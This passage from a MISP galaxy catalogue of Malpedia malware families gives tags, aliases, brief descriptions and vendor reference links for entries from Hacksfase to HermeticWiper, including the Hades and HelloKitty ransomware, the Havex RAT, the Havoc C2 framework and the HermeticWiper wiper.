https://blog.eclecticiq.com/operation-flightnight-indian-government-entities-and-energy-sector-targeted-by-cyber-espionage-campaign

Hacksfase

The tag is: *misp-galaxy:malpedia="Hacksfase"*

Hacksfase is also known as:

Table 4044. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

HackSpy

Py2Exe based tool as found on github.

The tag is: *misp-galaxy:malpedia="HackSpy"*

HackSpy is also known as:

Table 4045. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hackspy
https://github.com/ratty3697/HackSpy-Trojan-Exploit

Hades

According to PCrisk, Hades Locker is an updated version of WildFire Locker ransomware that infiltrates systems and encrypts a variety of data types using AES encryption. Hades Locker appends the names of encrypted files with the ".~HL[5_random_characters] (first 5 characters of encryption password)" extension.

The tag is: *misp-galaxy:malpedia="Hades"*

Hades is also known as:

Table 4046. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hades
https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities
https://services.google.com/fh/files/misc/threat_horizons_report_h1_2025.pdf
https://twitter.com/inversecos/status/1381477874046169089?s=20
https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://blog.truesec.com/2021/05/05/are-the-notorious-cyber-criminals-evil-corp-actually-russian-spies/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.bleepingcomputer.com/news/security/evil-corp-switches-to-hades-ransomware-to-evade-sanctions/
https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox
https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf
https://www.accenture.com/us-en/blogs/security/ransomware-hades

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure
http://www.secureworks.com/research/threat-profiles/gold-winter
https://awakesecurity.com/blog/incident-response-hades-ransomware-gang-or-hafnium/
https://www.accenture.com/us-en/blogs/cyber-defense/unknown-threat-group-using-hades-ransomware
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions

Hakbit

Hakbit ransomware is written in .NET. It uploads (some) files to be encrypted to a ftp-server. The ransom note is embedded - in earlier versions as plain string, then as base64 string. In some versions, these strings are slightly obfuscated.

Contact is via an email address hosted on protonmail. Hakbit (original) had hakbit@, more recent "KiraLock" has kiraransom@ (among others of course).

The tag is: *misp-galaxy:malpedia="Hakbit"*

Hakbit is also known as:

- Thanos Ransomware

Table 4047. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hakbit
https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware
https://www.zscaler.com/blogs/security-research/midas-ransomware-tracing-evolution-thanos-ransomware-variants
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://securelist.com/cis-ransomware/104452/
https://www.sekoia.io/en/the-story-of-a-ransomware-builder-from-thanos-to-spook-and-beyond-part-1/
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.seqrite.com/blog/thanos-ransomware-evading-anti-ransomware-protection-with-riplace-tactic/
https://medium.com/s2wlab/quick-analysis-of-haron-ransomware-feat-avaddon-and-thanos-1ebb70f64dc4

https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/
https://go.recordedfuture.com/hubfs/reports/cta-2020-0610.pdf
https://www.carbonblack.com/2020/06/08/tau-threat-analysis-hakbit-ransomware/
https://blog.cyble.com/2021/06/05/prometheus-an-emerging-apt-group-using-thanos-ransomware-to-target-organizations/
https://unit42.paloaltonetworks.com/thanos-ransomware/
https://unit42.paloaltonetworks.com/prometheus-ransomware/
https://www.justice.gov/usao-edny/press-release/file/1505981/download
https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/
https://www.proofpoint.com/us/blog/threat-insight/hakbit-ransomware-campaign-against-germany-austria-switzerland
http://id-ransomware.blogspot.com/2019/11/hakbit-ransomware.html
https://www.carbonblack.com/2020/06/15/tau-threat-analysis-relations-to-hakbit-ransomware/

HALFRIG

A stager used by APT29 to deploy CobaltStrike.

The tag is: *misp-galaxy:malpedia="HALFRIG"*

HALFRIG is also known as:

Table 4048. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.halfrig
https://www.gov.pl/attachment/64193e8d-05e2-4cbf-bb4c-5f58da21fefb

Hamweq

The tag is: *misp-galaxy:malpedia="Hamweq"*

Hamweq is also known as:

Table 4049. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq
https://www.youtube.com/watch?v=FAFuSO9oAl0
https://www.cert.pl/wp-content/uploads/2011/06/201106_hamweq.pdf
https://blag.nullteilerfrei.de/2020/05/31/string-obfuscation-in-the-hamweq-irc-bot/

https://www.youtube.com/watch?v=JPvcLLYR0tE

Hancitor

Hancitor(aka Chanitor) emerged in 2013 which spread via social engineering techniques mainly through phishing mails embedded with malicious link and weaponized Microsoft office document contains malicious macro in it.

The tag is: *misp-galaxy:malpedia="Hancitor"*

Hancitor is also known as:

- Chanitor

Table 4050. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor
https://isc.sans.edu/forums/diary/Hancitor+activity+resumes+after+a+hoilday+break/26980/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/hancitor-making-use-of-cookies-to-prevent-url-scraping
https://researchcenter.paloaltonetworks.com/2016/08/unit42-pythons-and-unicorns-and-hancitoroh-my-decoding-binaries-through-emulation/
https://elis531989.medium.com/dissecting-and-automating-hancitors-config-extraction-1a6ed85d99b8
https://www.vkremez.com/2018/11/lets-learn-in-depth-reversing-of.html
https://blog.minerva-labs.com/new-hancitor-pimp-my-downloader
https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon
https://www.silentpush.com/blog/pivoting-finding-malware-domains-without-seeing-malicious-activity
https://blog.group-ib.com/switching-side-jobs
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear
https://pid4.io/posts/how_to_write_a_hancitor_extractor/
https://researchcenter.paloaltonetworks.com/2018/02/unit42-dissecting-hancitors-latest-2018-packer/
https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/
https://unit42.paloaltonetworks.com/wireshark-tutorial-hancitor-followup-malware/
https://www.dodgethissecurity.com/2019/11/01/hancitor-evasive-new-waves-and-how-com-objects-can-use-cached-credentials-for-proxy-authentication/
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618

https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/
https://www.uperesia.com/hancitor-packer-demystified
https://researchcenter.paloaltonetworks.com/2018/02/unit42-compromised-servers-fraud-accounts-recent-hancitor-attacks/
https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-maldoc-analysis/
https://www.malware-traffic-analysis.net/2021/09/29/index.html
https://isc.sans.edu/diary/rss/27618
https://muha2xmad.github.io/unpacking/hancitor/
https://malware-traffic-analysis.net/2021/09/29/index.html
https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/
https://www.vmray.com/cyber-security-blog/hancitor-multi-step-delivery-process-malware-analysis-spotlight/
https://muha2xmad.github.io/malware-analysis/fullHancitor/
https://blog.group-ib.com/hancitor-cuba-ransomware
https://twitter.com/TheDFIRReport/status/1359669513520873473
https://inquest.net/blog/2021/04/16/unearthing-hancitor-infrastructure
https://medium.com/@crovax/extracting-hancitors-configuration-with-ghidra-7963900494b5
https://cyber-anubis.github.io/malware%20analysis/hancitor/
https://github.com/OALabs/Lab-Notes/blob/main/Hancitor/hancitor.ipynb
https://www.zscaler.com/blogs/research/chanitor-downloader-actively-installing-vawtrak
https://blog.group-ib.com/prometheus-tds
https://www.0ffset.net/reverse-engineering/malware-analysis/hancitor-analysing-the-main-loader/
https://researchcenter.paloaltonetworks.com/2016/08/unit42-vb-dropper-and-shellcode-for-hancitor-reveal-new-techniques-behind-uptick/
https://0ffset.net/reverse-engineering/malware-analysis/reversing-hancitor-again/
https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor
https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/
https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html

Handala

According to Intezer, this is a second stage loader written in Delphi.

The tag is: *misp-galaxy:malpedia="Handala"*

Handala is also known as:

Table 4051. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.handala
https://www.trellix.com/blogs/research/handalas-wiper-targets-israel/
https://www.splunk.com/en_us/blog/security/handalas-wiper-threat-analysis-and-detections.html
https://intezer.com/blog/research/stealth-wiper-israeli-infrastructure/

HappyLocker (HiddenTear?)

The tag is: *misp-galaxy:malpedia="HappyLocker (HiddenTear?)"*

HappyLocker (HiddenTear?) is also known as:

Table 4052. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.happy_locker

HARDRAIN (Windows)

The tag is: *misp-galaxy:malpedia="HARDRAIN (Windows)"*

HARDRAIN (Windows) is also known as:

Table 4053. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hardrain
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf

Harnig

The tag is: *misp-galaxy:malpedia="Harnig"*

Harnig is also known as:

- Piptea

Table 4054. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig
https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html
https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html

Haron Ransomware

The tag is: *misp-galaxy:malpedia="Haron Ransomware"*

Haron Ransomware is also known as:

Table 4055. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.haron
https://threatpost.com/ransomware-gangs-haron-blackmatter/168212/
https://medium.com/walmartglobaltech/decoding-smartassembly-strings-a-haron-ransomware-case-study-9d0c5af7080b

Hatef

According to Intezer, this is a wiper.

The tag is: *misp-galaxy:malpedia="Hatef"*

Hatef is also known as:

Table 4056. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hatef
https://www.trellix.com/blogs/research/handalas-wiper-targets-israel/
https://www.splunk.com/en_us/blog/security/handalas-wiper-threat-analysis-and-detections.html
https://intezer.com/blog/research/stealth-wiper-israeli-infrastructure/

HavanaCrypt

The tag is: *misp-galaxy:malpedia="HavanaCrypt"*

HavanaCrypt is also known as:

Table 4057. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.havana_crypt
https://www.trendmicro.com/en_us/research/22/g/brand-new-havanacrypt-ransomware-poses-as-google-software-update.html

Havex RAT

Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread

espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as "Dragonfly" and "Energetic Bear". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.

Once installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.

Havex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.

The tag is: *misp-galaxy:malpedia="Havex RAT"*

Havex RAT is also known as:

Table 4058. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat
https://www.secureworks.com/research/threat-profiles/iron-liberty
https://www.f-secure.com/weblog/archives/00002718.html
https://vblocalhost.com/uploads/VB2021-Slowik.pdf
https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors
https://pylos.co/2020/11/04/the-enigmatic-energetic-bear/
https://www.cisa.gov/uscert/ncas/alerts/aa22-083a

Havoc

First released in October 2022, the Havoc C2 Framework is a flexible post-exploitation framework written in Golang, C++, and Qt, with agents called 'Demons' written in C and ASM, created by @C5pider. Designed to support red team engagements and adversary emulation, it offers a robust set of capabilities tailored for offensive security operations. The framework, which is under active development, utilizes HTTP(s) and SMB as communication protocols for its implants. Havoc can generate implants, known as Demons, in several formats including EXE, DLL, and Shellcode. A notable feature of Havoc is its ability to bypass EDR by employing advanced evasion techniques such as sleep obfuscation, return address stack spoofing, and indirect syscalls. This capability

enhances its effectiveness in evading detection and circumventing security measures.

The tag is: *misp-galaxy:malpedia="Havoc"*

Havoc is also known as:

- Havokiz

Table 4059. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.havoc
https://github.com/HavocFramework/Havoc
https://www.youtube.com/watch?v=ErPKP4Ms28s
https://twitter.com/embee_research/status/1579668721777643520?s=20&t=nDJOv1Yf5mQZKCou7qMrhQ
https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf
https://www.fortinet.com/content/dam/fortinet/assets/reports/report-incident-response-middle-east.pdf
https://4pfsec.com/havoc-c2-first-look/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://checkmarx.com/blog/first-known-targeted-oss-supply-chain-attacks-against-the-banking-sector/
https://www.fortinet.com/blog/threat-research/fortiguard-incident-response-team-detects-intrusion-into-middle-east-critical-national-infrastructure
https://github.com/Invoke-RE/stream-notes/blob/main/red-team/scripts/parse_havoc_generic.py
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://www.threatray.com/blog/the-bitter-end-unraveling-eight-years-of-espionage-antics-part-two
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf
https://www.zscaler.com/blogs/security-research/havoc-across-cyberspace
https://www.proofpoint.com/us/blog/threat-insight/bitter-end-unraveling-eight-years-espionage-antics-part-one
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf
https://www.immersivelabs.com/blog/havoc-c2-framework-a-defensive-operators-guide/
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_9_takeda_furukawa_en.pdf
https://www.seqrite.com/blog/operation-oxidovy-sophisticated-malware-campaign-targets-czech-officials-using-nato-themed-decoys/

https://www.kroll.com/en/insights/publications/cyber/prelude-crypto-heist-causes-havoc
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayling-taiwan-cyber-attacks

HAWKBALL

HAWKBALL is a backdoor that attackers can use to collect information from the victim, as well as to deliver payloads. HAWKBALL is capable of surveying the host, creating a named pipe to execute native Windows commands, terminating processes, creating, deleting and uploading files, searching for files, and enumerating drives.

The tag is: *misp-galaxy:malpedia="HAWKBALL"*

HAWKBALL is also known as:

Table 4060. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkball
https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html

HawkEye Keylogger

HawKeye is a keylogger that is distributed since 2013. Discovered by IBM X-Force, it is currently spread over phishing campaigns targeting businesses on a worldwide scale. It is designed to steal credentials from numerous applications but, in the last observed versions, new "loader capabilities" have been spotted. It is sold by its development team on dark web markets and hacking forums.

The tag is: *misp-galaxy:malpedia="HawkEye Keylogger"*

HawkEye Keylogger is also known as:

- HawkEye
- HawkEye Reborn
- Predator Pain

Table 4061. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hawkeye_keylogger
https://cloudblogs.microsoft.com/microsoftsecure/2018/07/11/hawkeye-keylogger-reborn-v8-an-in-depth-campaign-analysis/

https://nakedsecurity.sophos.com/2016/02/29/the-hawkeye-attack-how-cybercrooks-target-small-businesses-for-big-money/
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html
https://www.fortinet.com/blog/threat-research/hawkeye-malware-analysis.html
https://www.govcert.ch/blog/analysis-of-an-unusual-hawkeye-sample/
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/HawkEye/HawkEye.md
https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter
https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry
https://blog.talosintelligence.com/rats-and-stealers-rush-through-heavens/
http://stopmalvertising.com/malware-reports/analysis-of-the-predator-pain-keylogger.html
https://researchcenter.paloaltonetworks.com/2015/10/surveillance-malware-trends-tracking-predator-pain-and-hawkeye/
https://www.secureworks.com/research/threat-profiles/gold-galleon
https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/
https://www.cyberbit.com/hawkeye-malware-keylogging-technique/
http://www.secureworks.com/research/threat-profiles/gold-galleon
https://securelist.com/apt-trends-report-q2-2019/91897/
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/covid-19-cybercrime-m00nd3v-hawkeye-malware-threat-actor/
https://www.trustwave.com/Resources/SpiderLabs-Blog/How-I-Cracked-a-Keylogger-and-Ended-Up-in-Someone-s-Inbox/
https://any.run/cybersecurity-blog/hawkeye-malware-technical-analysis/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://www.cyberbit.com/blog/endpoint-security/hawkeye-malware-keylogging-technique/
https://blog.talosintelligence.com/2019/04/hawkeye-reborn.html

Hawking

The tag is: *misp-galaxy:malpedia="Hawking"*

Hawking is also known as:

Table 4062. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.hawking
https://www.welivesecurity.com/en/eset-research/bladedfeline-whispering-dark/

HazyLoad

The tag is: *misp-galaxy:malpedia="HazyLoad"*

HazyLoad is also known as:

Table 4063. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hazy_load
https://blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/clasiopa-materials-research
https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/

HDMR

HDMR is a ransomware which encrypts user files and adds a .DMR64 extension. It also drops a ransom note named: "!!! READ THIS !!!.hta".

The tag is: *misp-galaxy:malpedia="HDMR"*

HDMR is also known as:

- GO-SPORT

Table 4064. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hdmr
http://id-ransomware.blogspot.com/2019/10/hdmr-ransomware.html
https://twitter.com/malwrhunterteam/status/1205096379711918080/photo/1

HDRoot

The tag is: *misp-galaxy:malpedia="HDRoot"*

HDRoot is also known as:

Table 4065. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.hdroot
https://securelist.com/i-am-hdroot-part-2/72356/
https://securelist.com/i-am-hdroot-part-1/72275/

HeaderTip

The Chinese threat actor "Scarab" is using a custom backdoor dubbed "HeaderTip" according to SentinelLABS. This malware may be the successor of "Scieron".

The tag is: *misp-galaxy:malpedia="HeaderTip"*

HeaderTip is also known as:

Table 4066. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.headertip
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://www.sentinelone.com/labs/chinese-threat-actor-scarab-targeting-ukraine/
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-headertip
https://blogs.blackberry.com/en/2022/04/threat-thursday-headertip-backdoor-shows-attackers-from-china-preying-on-ukraine
https://cert.gov.ua/article/38097

Headlace

The tag is: *misp-galaxy:malpedia="Headlace"*

Headlace is also known as:

Table 4067. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.headlace
https://cert.pl/en/posts/2024/05/apt28-campaign/
https://unit42.paloaltonetworks.com/fighting-ursa-car-for-sale-phishing-lure/
https://securityintelligence.com/x-force/itg05-ops-leverage-israel-hamas-conflict-lures-to-deliver-headlace-malware/
https://github.com/blackorbird/APT_REPORT/blob/master/APT28/APT28%20the%20long%20hand%20of%20Russian%20interests.pdf
https://media.defense.gov/2025/May/21/2003719846/-1/-1/0/CSA_RUSSIAN_GRU_TARGET_LOGISTICS.PDF

Helauto

The tag is: *misp-galaxy:malpedia="Helauto"*

Helauto is also known as:

Table 4068. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.helauto
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

HelloBot (Windows)

The tag is: *misp-galaxy:malpedia="HelloBot (Windows)"*

HelloBot (Windows) is also known as:

Table 4069. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hellobot
https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt
https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html

HelloKitty (Windows)

Unit42 states that HelloKitty is a ransomware family that first surfaced at the end of 2020, primarily targeting Windows systems. The malware family got its name due to its use of a Mutex with the same name: HelloKittyMutex. The ransomware samples seem to evolve quickly and frequently, with different versions making use of the .crypted or .kitty file extensions for encrypted files. Some newer samples make use of a Golang packer that ensures the final ransomware code is only loaded in memory, most likely to evade detection by security solutions.

The tag is: *misp-galaxy:malpedia="HelloKitty (Windows)"*

HelloKitty (Windows) is also known as:

- KittyCrypt

Table 4070. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hellokitty
https://cocomelonc.github.io/malware/2023/01/04/malware-tricks-26.html

https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://www.databreaches.net/babuk-re-organizes-as-payload-bin-offers-its-first-leak/
https://unit42.paloaltonetworks.com/emerging-ransomware-groups/
https://twitter.com/fwosar/status/1359167108727332868
https://www.ic3.gov/Media/News/2021/211029.pdf
https://www.bleepingcomputer.com/news/security/hellokitty-ransomware-is-targeting-vulnerable-sonicwall-devices/
https://id-ransomware.blogspot.com/2020/11/hellokitty-ransomware.html
https://www.speartip.com/resources/fbi-hellokitty-ransomware-adds-ddos-to-extortion-arsenal/
https://medium.com/proferosec-osm/static-unpacker-and-decoder-for-hello-kitty-packer-91a3e8844cb7
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html
https://cocomelonc.github.io/book/2023/12/13/malwild-book.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-249a
https://blogs.vmware.com/security/2022/09/threat-report-illuminating-volume-shadow-deletion.html
https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire
https://www.cadosecurity.com/post/punk-kitty-ransom-analysing-hellokitty-ransomware-attacks
https://blog.malwarebytes.com/threat-spotlight/2021/03/hellokitty-when-cyberpunk-met-cy-purr-crime/
https://www.intrinsec.com/vice-society-spreads-its-own-ransomware/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://labs.sentinelone.com/hellokitty-ransomware-lacks-stealth-but-still-strikes-home/
https://www.crowdstrike.com/blog/new-ransomware-variant-uses-golang-packer/
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html

Helminth

The tag is: *misp-galaxy:malpedia="Helminth"*

Helminth is also known as:

Table 4071. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.helminth
https://blog.morphisec.com/iranian-fileless-cyberattack-on-israel-word-vulnerability
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/
https://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html

Heloag

The tag is: *misp-galaxy:malpedia="Heloag"*

Heloag is also known as:

Table 4072. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.heloag
https://securelist.com/heloag-has-rather-no-friends-just-a-master/29693/

HemiGate

The tag is: *misp-galaxy:malpedia="HemiGate"*

HemiGate is also known as:

Table 4073. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hemigate
https://jsac.jpcert.or.jp/archive/2024/pdf/JSAC2024_1_7_hara_nakajima_kawakami_en.pdf
https://jsac.jpcert.or.jp/archive/2025/pdf/JSAC2025_1_5_leon-chang_theo-chen_en.pdf
https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html

Herbst

The tag is: *misp-galaxy:malpedia="Herbst"*

Herbst is also known as:

Table 4074. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.herbst
https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware

Heriplor

The tag is: *misp-galaxy:malpedia="Heriplor"*

Heriplor is also known as:

Table 4075. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://insights.sei.cmu.edu/cert/2019/03/api-hashing-tool-imagine-that.html
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks
https://vblocalhost.com/uploads/VB2021-Slowik.pdf

Hermes

The tag is: *misp-galaxy:malpedia="Hermes"*

Hermes is also known as:

Table 4076. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes
https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf
https://www.malwarebytes.com/blog/news/2018/03/hermes-ransomware-distributed-to-south-koreans-via-recent-flash-zero-day
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://vxhive.blogspot.com/2020/11/deep-dive-into-hermes-ransomware.html
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside

http://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html
https://web.archive.org/web/20200922165625/https://dcso.de/2019/03/18/enterprise-malware-as-a-service/
https://blog.naver.com/checkmal/223416580495
https://www.youtube.com/watch?v=9nuo-AGg4p4
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://medium.com/ax1al/reversing-ryuk-eef8ffd55f12

HermeticWiper

According to SentinelLabs, HermeticWiper is a custom-written application with very few standard functions. It abuses a signed driver called "empntdrv.sys" which is associated with the legitimate Software "EaseUS Partition Master Software" to enumerate the MBR and all partitions of all Physical Drives connected to the victims Windows Device and overwrite the first 512 Bytes of every MBR and Partition it can find, rendering them useless. This malware is associated to the malware attacks against Ukraine during Russians Invasion in February 2022.

The tag is: *misp-galaxy:malpedia="HermeticWiper"*

HermeticWiper is also known as:

- DriveSlayer
- FoxBlade
- KillDisk.NCV
- NEARMISS

Table 4077. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.hermeticwiper
https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf
https://twitter.com/Sebdraven/status/1496878431719473155
https://www.englert.one/hermetic-wiper-reverse-code-engineering
https://therecord.media/second-data-wiper-attack-hits-ukraine-computer-networks/
https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/
https://twitter.com/threatintel/status/1496578746014437376
https://t3n.de/news/cyber-attacken-ukraine-wiper-malware-1454318/
https://cloudsek.com/technical-analysis-of-the-hermetic-wiper-malware-used-to-target-ukraine/
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-057A_Destructive_Malware_Targeting_Organizations_in_Ukraine.pdf

https://www.bitdefender.com/blog/hotforsecurity/five-things-you-need-to-know-about-the-cyberwar-in-ukraine/

https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket

https://dgc.org/en/hermeticwiper-malware/

https://www.secureworks.com/blog/disruptive-hermeticwiper-attacks-targeting-ukrainian-organizations

https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd

